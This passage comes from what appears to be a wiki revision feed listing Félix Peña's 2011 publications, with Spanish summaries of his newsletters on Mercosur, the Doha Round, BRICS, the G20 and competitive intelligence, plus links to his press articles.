[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1985</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1985"/>
		<updated>2011-07-12T21:51:13Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* El valor de la región como telón de fondo de la reciente visita de Obama */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===PRESERVAR LO ESENCIAL, FLEXIBILIZAR LO METODOLÓGICO: La adaptación de la OMC, la UE y el Mercosur a nuevas realidades internacionales===&lt;br /&gt;
&lt;br /&gt;
Junio 2011&lt;br /&gt;
&lt;br /&gt;
Se observan signos de stress en algunos de los principales ámbitos institucionalizados de cooperación entre naciones, tanto en el plano global como en el de los distintos espacios geográficos regionales. Recientemente se han puesto en evidencia, por ejemplo, en las notorias dificultades para avanzar en las negociaciones de la Rueda Doha en la OMC; en la creciente inquietud sobre el futuro del euro y sobre cómo continuar con la construcción de la propia UE, y en las controversias comerciales que han actualizado el debate sobre el alcance real de la unión aduanera y sobre la integración automotriz en el Mercosur.&lt;br /&gt;
&lt;br /&gt;
Son signos de stress que parecen resultar de una gradual ampliación de la brecha, entre la realidad internacional en la que se generaron los respectivos ámbitos de cooperación, incluyendo sus actuales objetivos y modalidades operativas y la que se está poniendo en evidencia en los últimos tiempos. En casi dos décadas han cambiado profundamente las condiciones políticas y económicas en las que interactúan las naciones a escala global y en las distintas regiones.&lt;br /&gt;
&lt;br /&gt;
En cada uno de los tres casos los signos de fatiga son más evidentes en el plano de la dimensión metodológica del trabajo conjunto. Se manifiesta en relación a la eficacia de mecanismos y reglas, y en las dificultades para obtener los resultados procurados o, en su lugar, para adoptar decisiones que permitan su adaptación a las nuevas realidades que se confrontan. El riesgo sin embargo es que, con el tiempo, las pérdidas de eficacia terminen impactando en la legitimidad del respectivo ámbito de cooperación multinacional, y que comience a ser percibido por sus países miembros -o por algunos de ellos- como irrelevante o como perjudicial para sus respectivos intereses nacionales. En tal caso, las dificultades serían más graves ya que se referirían a la dimensión existencial del trabajo conjunto, es decir, a la propia razón de ser del emprendimiento cooperativo entre las naciones asociadas.&lt;br /&gt;
&lt;br /&gt;
Superar semejante cuadro de situación requerirá de liderazgo político colectivo entre los principales protagonistas, dirigido a limitar los efectos de la crisis de eficacia, evitando que ellos pasen del plano metodológico al existencial. Para preservar lo esencial, se requerirá flexibilizar lo metodológico.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-06-adaptacion-omc-ue-mercosur Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Las deficiencias de un Mercosur con reclas precarias===&lt;br /&gt;
&lt;br /&gt;
Letras Internacionales, Universidad ORT Uruguay, 24 de junio de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-06-24-deficiencias-mercosur-reglas-precarias Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 2 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-02-mercosur-veinte-anos-despues Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Brasil-Argentina: la calidad de una relación bilateral relevante===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 27 de enero de 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-01-27-brasil-argentina-calidad-relacion-bilateral-relevante Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Categoría:Expertos de la Fundación Standard Bank]]&lt;/div&gt;</summary>
		<author><name>Esteban</name></author>
	</entry>
	<entry>
		<id>https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1923</id>
		<title>Félix Peña - Publicaciones 2011</title>
		<link rel="alternate" type="text/html" href="https://www.biblioteca.fundacionicbc.edu.ar/index.php?title=F%C3%A9lix_Pe%C3%B1a_-_Publicaciones_2011&amp;diff=1923"/>
		<updated>2011-05-21T01:00:58Z</updated>

		<summary type="html">&lt;p&gt;Esteban: /* NEWSLETTERS */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;==NEWSLETTERS==&lt;br /&gt;
&lt;br /&gt;
===EL VALOR DE UNA REGIÓN: Sudamérica en la competencia económica global del futuro===&lt;br /&gt;
&lt;br /&gt;
Mayo 2011&lt;br /&gt;
&lt;br /&gt;
Por lo menos son tres las razones que permiten tener una cautelosa visión optimista sobre el futuro de América Latina. Ellas son: el aprendizaje experimentado en las últimas décadas; las señales claras de un cambio cultural con respecto a lo que se puede lograr en el futuro, y los impactos de las profundas transformaciones que se están operando en el escenario global. Sin embargo, no hay que subestimar las enormes dificultades y desafíos que los países de la región tendrán que superar en los próximos años. De allí la conveniencia de ser prudentes. Se sabe que en un mundo de continuos cambios sistémicos, todo ejercicio prospectivo constituye un juego peligroso. &lt;br /&gt;
&lt;br /&gt;
América Latina es una región heterogénea. Los factores que explican pronósticos optimistas sobre su futuro no tienen similar validez en todos sus países. Pero son visibles en países que son claves por su dimensión y relevancia económica. Y son países con un fuerte potencial para derramar sus eventuales éxitos hacia el resto de la región. Uno de esos países es Brasil.&lt;br /&gt;
&lt;br /&gt;
El valor creciente de la región puede ser ilustrado con la visita que en el mes de marzo pasado el Presidente Obama efectuara a Brasil, Chile y El Salvador. Estuvieron presentes algunas cuestiones que son centrales en la agenda estratégica futura de los Estados Unidos.&lt;br /&gt;
&lt;br /&gt;
Pero si los pronósticos más optimistas sobre la región se fueran confirmando en los próximos años, para potenciar su valor se requerirá avanzar en la articulación de los intereses nacionales de sus países. Es una articulación que sólo puede tornarse viable a través de liderazgos colectivos. La calidad y densidad de la relación de la Argentina con todos los países de la región puede resultar a tal efecto un factor esencial. La alianza estratégica con el Brasil y el propio Mercosur son, al respecto, núcleos duros de la construcción de un espacio geográfico sudamericano en el que la UNASUR está llamada a desempeñar un papel central.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-05-sudamerica-competencia-economica-global-del-futuro Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===EL DIFICIL ARTE DE CONCLUIR LO COMENZADO: La experiencia de la Rueda Doha y de las negociaciones Mercosur-Unión Europea===&lt;br /&gt;
&lt;br /&gt;
Abril 2011&lt;br /&gt;
&lt;br /&gt;
Luego de una década transcurrida desde sus lanzamientos, tanto la Rueda Doha como las negociaciones birregionales entre el Mercosur y la Unión Europea (UE) no están dando signos concretos de avanzar hacia una pronta conclusión. &lt;br /&gt;
&lt;br /&gt;
Con respecto a la Rueda Doha se ha acentuando la impresión que la &amp;quot;ventana de oportunidad&amp;quot; que parecía haberse abierto al comienzo del año, esta cerrándose. Muchos observadores y analistas coinciden en que los obstáculos existentes podrían ser superados de existir una fuerte y real voluntad política, que vaya más allá de las reiteradas declaraciones de las Cumbres del alto nivel político. Una opción sería reducir el nivel de ambición del acuerdo que se procure alcanzar y, en contrapartida, abrir una nueva etapa de negociaciones multilaterales que innove en la metodología que se emplee e introduzca diferentes modalidades negociadoras con múltiples velocidades y geometrías variables.&lt;br /&gt;
&lt;br /&gt;
Con respecto a la negociación del Mercosur y la UE, tampoco se observan señales que indiquen avances concretos que permitan concluir este año. Parecería reiterarse un cuadro que ya caracterizó el camino que llevó al fracaso en octubre de 2004. El impulso político parece haberse diluido. Y si existe no es muy notorio. Además subsisten factores que pueden introducir elementos de una rigidez innecesaria en las negociaciones, tal por ejemplo, la interpretación sobre la cobertura que deberían tener los compromisos de libre comercio que se logren.&lt;br /&gt;
&lt;br /&gt;
Con liderazgo de alto nivel político -como el que condujo al relanzamiento de las negociaciones en Madrid el año pasado- y con flexibilidad en la interpretación de los requerimientos de las reglas de la OMC, parecería factible sortear algunos de los obstáculos existentes. Un acuerdo menos ambicioso que abra las puertas a un proceso de largo plazo con mayor ambición estratégica, podría ser mejor que un nuevo fracaso en las negociaciones.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-04-negociaciones-doha-mercosur-ue Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===LA EFICACIA DE LOS &amp;quot;G&amp;quot;: Capacidades a tener en cuenta para apreciarla en el caso del G20 y del grupo BRICS===&lt;br /&gt;
&lt;br /&gt;
Marzo 2011&lt;br /&gt;
&lt;br /&gt;
El Grupo de los 20 (G20) y el grupo BRICS son algunos casos actuales de los denominados &amp;quot;G&amp;quot;. Son modalidades informales de grupos de países, que se reúnen periódicamente al más alto nivel político, con el objetivo de abordar cuestiones relevantes de la agenda internacional que son de su interés. Reflejan la percepción de insuficiencias en los mecanismos formales de participación de los países en el sistema internacional. &lt;br /&gt;
&lt;br /&gt;
Dado el carácter relativamente reciente de los dos grupos resulta prematuro intentar apreciar su eficacia en función de los objetivos que persiguen. Al hacerse tal apreciación, será conveniente tomar en cuenta las diferencias existentes entre dos iniciativas que surgen en circunstancias similares pero que responden a necesidades diferentes. Las circunstancias similares son las de las insuficiencias sistémicas para asegurar una gobernabilidad global efectiva. Las necesidades que impulsan al G20 se relacionan con la superación de una situación de crisis sistémica y con el impulso de reformas institucionales que conduzcan a un multilateralismo efectivo, especialmente en el plano financiero y del comercio mundial. El grupo BRICS, a su vez, procura acrecentar la capacidad para un protagonismo relevante de sus países miembros en la construcción de un nuevo orden mundial y ejercer su influencia dentro del G20.&lt;br /&gt;
&lt;br /&gt;
Más allá de las diferencias existentes entre ambos grupos, tres capacidades deberán tenerse en cuenta para apreciar su eficacia en función de los objetivos perseguidos. Ellas son: la de ejercer una influencia real en la construcción de una nueva arquitectura internacional que permita alcanzar niveles razonables de gobernabilidad global; la de articular acuerdos efectivos entre los países miembros sobre cuestiones relevantes de la agenda internacional, y la de reflejar los puntos de vista e intereses de los países no participantes, especialmente los de la región a la que uno o más países miembros aspiran a representar.&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-03-capacidades-g20-grupo-brics Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===CALIDAD DE INFORMACIÓN E INTELIGENCIA COMPETITIVA: Su importancia empresaria en un mundo de fuerte dinámica y de múltiples opciones===&lt;br /&gt;
&lt;br /&gt;
Febrero 2011&lt;br /&gt;
&lt;br /&gt;
Para cualquier empresa con una presencia sostenida en múltiples mercados o que esté expuesta en su propio mercado a la competencia internacional, es fundamental obtener y procesar información de calidad sobre hechos cargados de futuro, que señalizan factores que a través del tiempo pueden abrir o desplazar oportunidades de negocios.&lt;br /&gt;
&lt;br /&gt;
Dos tipos de hechos requieren ser detectados y diagnosticados en función de la estrategia de inserción internacional de una empresa. Son, en primer lugar, los que reflejan fuerzas profundas que están anticipando cambios significativos en la competencia económica global o en la de los respectivos espacios geográficos regionales. Y son, en segundo lugar, los hechos no previstos y que pueden significar puntos de inflexión en el escenario externo con incidencias en las ventajas competitivas de una empresa.&lt;br /&gt;
&lt;br /&gt;
El correcto y oportuno procesamiento de información relevante sobre el escenario internacional, los mercados y los competidores, permite a una empresa encarar con eficacia su inteligencia competitiva. Ésta puede entenderse como la resultante de un proceso continuo de obtención y análisis de información de calidad, que se pueda obtener en medios públicos -especialmente por Internet-, y que sea relevante para el planeamiento estratégico de una empresa, con el fin de desarrollar su capacidad para competir en los mercados en los que opera o aspira a operar.&lt;br /&gt;
&lt;br /&gt;
Por su dimensión, las PyMEs pueden tener muchas limitaciones en el abordaje de su inteligencia competitiva. Se abre entonces un espacio para el desarrollo de agendas de colaboración intensa, entre agencias gubernamentales, cámaras empresarias e instituciones académicas, tanto dentro de la Argentina, como también con similares esfuerzos de cooperación que ya existen hoy en muchos países incluyendo, por cierto a los del Mercosur. &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-02-calidad-informacion-inteligencia-competitiva Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===GOBERNABILIDAD GLOBAL Y COALICIONES DE NACIONES: El BRICS y su protagonismo en el diseño de la nueva arquitectura económica global===&lt;br /&gt;
&lt;br /&gt;
Enero 2011&lt;br /&gt;
&lt;br /&gt;
Hay distintas formas de abordar la cuestión de la gobernabilidad global. Una tiene que ver con la tensión clásica entre orden y anarquía en el sistema internacional. Otra, con los efectos dispares que resultan de la organización de la producción en torno a cadenas de valor de alcance transnacional. Y otra, que es la que se privilegia en esta oportunidad, con la capacidad del sistema internacional para articular soluciones a cuestiones relevantes de la agenda económica global que, por su alcance, sólo pueden ser abordadas con eficacia por el conjunto de las naciones. Son la resultante de la globalización de la economía y, entre otras, cabe mencionar las cuestiones vinculadas al cambio climático, a las &amp;quot;guerras&amp;quot; comerciales y cambiarias, a la regulación global de los mercados financieros, a la creación de condiciones favorables al desarrollo económico y social de todas las naciones.&lt;br /&gt;
&lt;br /&gt;
Los desplazamientos del poder mundial han ido erosionando la capacidad de las instituciones internacionales existentes para generar respuestas sistémicas eficaces a cuestiones relevantes de la agenda económica global. Se ha tornado difícil concentrar la suficiente masa crítica de poder requerida para que lo que se decida penetre en la realidad. El problema está planteado entonces en el plano de las relaciones de poder entre las naciones. Sumar el poder necesario para adaptar las instituciones que hacen a la gobernabilidad económica global no será tarea fácil. De allí la importancia creciente de mecanismos que permitan reunir masa crítica de poder a fin de tornar viable el proceso de creación de nuevas regla de juego de la economía internacional, de revisión de las instituciones internacionales existentes o para asegurar su adecuado funcionamiento. Representan distintas modalidades de coaliciones de naciones que a su vez reflejan diferentes subsistemas internacionales.&lt;br /&gt;
&lt;br /&gt;
En esta perspectiva cabe analizar el papel que puede desempeñar el BRICS tras la invitación a Sudáfrica a incorporarse al grupo original compuesto por Brasil, Rusia, India y China. Tiene fuertes desafíos por delante. Entre otros, el de poder sostener que sus miembros hablan en nombre de sus respectivas regiones.&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=negociaciones&amp;amp;neagno=informes/2011-01-gobernabilidad-global-coaliciones-naciones Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
==ARTÍCULOS Y NOTAS==&lt;br /&gt;
&lt;br /&gt;
===Una negociación birregional sin oxígeno político===&lt;br /&gt;
&lt;br /&gt;
El Cronista, 12 abril de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-11-mercosur-ue-sin-oxigeno-politico Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
Revista Veintitrés Internacional, N° 63, Marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar completo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El valor de la región como telón de fondo de la reciente visita de Obama===&lt;br /&gt;
&lt;br /&gt;
Revista Veintitres Internacional, marzo de 2011 &lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-04-valor-de-la-region-telon-fondo-obama Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Tiempo de explorar lecciones===&lt;br /&gt;
&lt;br /&gt;
Diario La Nación, 29 de marzo 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/index.php?contenido=wpapers&amp;amp;wpagno=documentos/2011-03-29-tiempo-de-explorar-lecciones Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===Condiciones para la eficacia en la inserción comercial internacional de la Argentina===&lt;br /&gt;
&lt;br /&gt;
Revista de Economía y Comercio Internacional, 17 de marzo de 2011&lt;br /&gt;
&lt;br /&gt;
[http://www.felixpena.com.ar/contenido/wpapers/documentos/2011-03-17-condiciones-eficacia-insercion-comercial-internacional-argentina.pdf Bajar artículo del sitio de Félix Peña]&lt;br /&gt;
&lt;br /&gt;
===El Mercosur, veinte años después===&lt;br /&gt;
